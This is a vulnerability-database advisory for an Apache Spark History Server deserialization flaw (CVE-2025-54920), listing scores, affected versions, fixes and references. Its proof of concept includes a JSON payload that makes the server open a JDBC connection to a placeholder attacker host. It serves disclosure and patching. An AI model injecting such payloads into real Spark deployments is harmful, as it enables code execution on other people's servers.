CVE-2025-54920 json
Apache Spark: Spark History Server Code Execution Vulnerability
published 2026-03-14 7 mo ago modified 2026-09-10 1 mo ago also BIT-spark-2025-54920 , EUVD-2025-208669 , GHSA-jwp6-cvj8-fw65
- cvss
- 8.8
- version 3.1, CNA
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- 5.4%
- EPSS 5.4% chance of exploitation in 30 days, percentile 92%
- public exploits
- 0
- none known
Summary
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.
Summary
Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.
Details
The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.
The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.
Proof of Concept:
1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).
2. Inject the following JSON at the beginning of an event log file:
{
"Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } }
3. Start the Spark History Server with logs pointing to the modified directory.
4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.
Impact
An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
Patch / fix
- maven org.apache.spark:spark-core_2.13 3.5.7, 4.0.1
- maven org.apache.spark:spark-core_2.12 3.5.7
- bitnami spark 3.5.7, 4.0.1
- Apache Software Foundation Apache Spark 3.5.7, 4.0.1
- github.com/apache/spark#51312 pull request
- github.com/apache/spark#51323 pull request
Vendor advisories
What the vendors themselves say about their products: affected, fixed or not affected, and what to do.
red hat product security vex CVE-2025-54920 updated cvss 6.7
org.apache.spark/spark-core: Apache Spark: Spark History Server Code Execution Vulnerability
-
Red Hat Fuse 7 spark-core_2.11 Red Hat OpenShift AI (RHOAI) rhoai/odh-mlflow-rhel9affected: workaround, no fix available “Fix deferred”
Red Hat CSAF VEX © Red Hat, Inc., from https://security.access.redhat.com/data/csaf/v2/vex/; changed: reduced to product statuses and remediations. CC BY 4.0 · csaf
CISA SSVC
- Exploitation
- none
- Automatable
- no
- Technical impact
- total
- Assessed
- 7 mo ago
Exploit prediction
5.42% chance of exploitation in the next 30 days, higher than 92% of all scored CVEs (FIRST EPSS, 2026-11-08).
Exploits and checks
- lists.apache.org https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s referenced PoC, tagged "exploit" by a source, unverified
- openwall.com http://www.openwall.com/lists/oss-security/2026/03/13/4 referenced PoC, tagged "exploit" by a source, unverified
CVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| CISA ADP | 3.1 | 8.8 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 3.1 | 8.8 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | 3.1 | 8.8 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| OSV | 3.1 | 8.8 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
Affected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| maven | org.apache.spark:spark-core_2.13 | >=4.0.0, <4.0.1 <3.5.7 |
4.0.1 3.5.7 |
| maven | org.apache.spark:spark-core_2.12 | <3.5.7 |
3.5.7 |
| maven | org.apache.spark:spark-core_2.11 | <=2.4.8 |
no fix listed |
| maven | org.apache.spark:spark-core_2.10 | <=2.2.3 |
no fix listed |
| maven | org.apache.spark:spark-core_2.9.3 | <=0.8.1-incubating |
no fix listed |
| bitnami | spark | <3.5.7 >=4.0.0, <4.0.1 |
3.5.7 4.0.1 |
Affected products
- Apache Software Foundation Apache Spark
Classification
- Weakness
-
- CWE-502 Deserialization of Untrusted Data
References
-
github.com
/apache/spark/pull/51312
patch, web, issue-tracking, report
-
github.com
/apache/spark/pull/51323
patch, web, issue-tracking, report
-
lists.apache.org
/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s
vendor-advisory, web, exploit, mitigation, advisory
-
openwall.com
/lists/oss-security/2026/03/13/4
web, exploit, mailing-list, third-party-advisory, advisory
-
issues.apache.org
/jira/browse/SPARK-52381
issue-tracking, web, report
-
nvd.nist.gov
/vuln/detail/CVE-2025-54920
advisory, web
-
github.com
/apache/spark
package
Sources
- CVE List CVE-2025-54920
- GitHub Advisory GHSA-jwp6-cvj8-fw65
- NVD CVE-2025-54920
- OSV BIT-spark-2025-54920
Fencer Vulns keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.
CPEs and fixed versions use Anchore's correction of NVD's data: Added CPE configurations because not yet analyzed by NVD.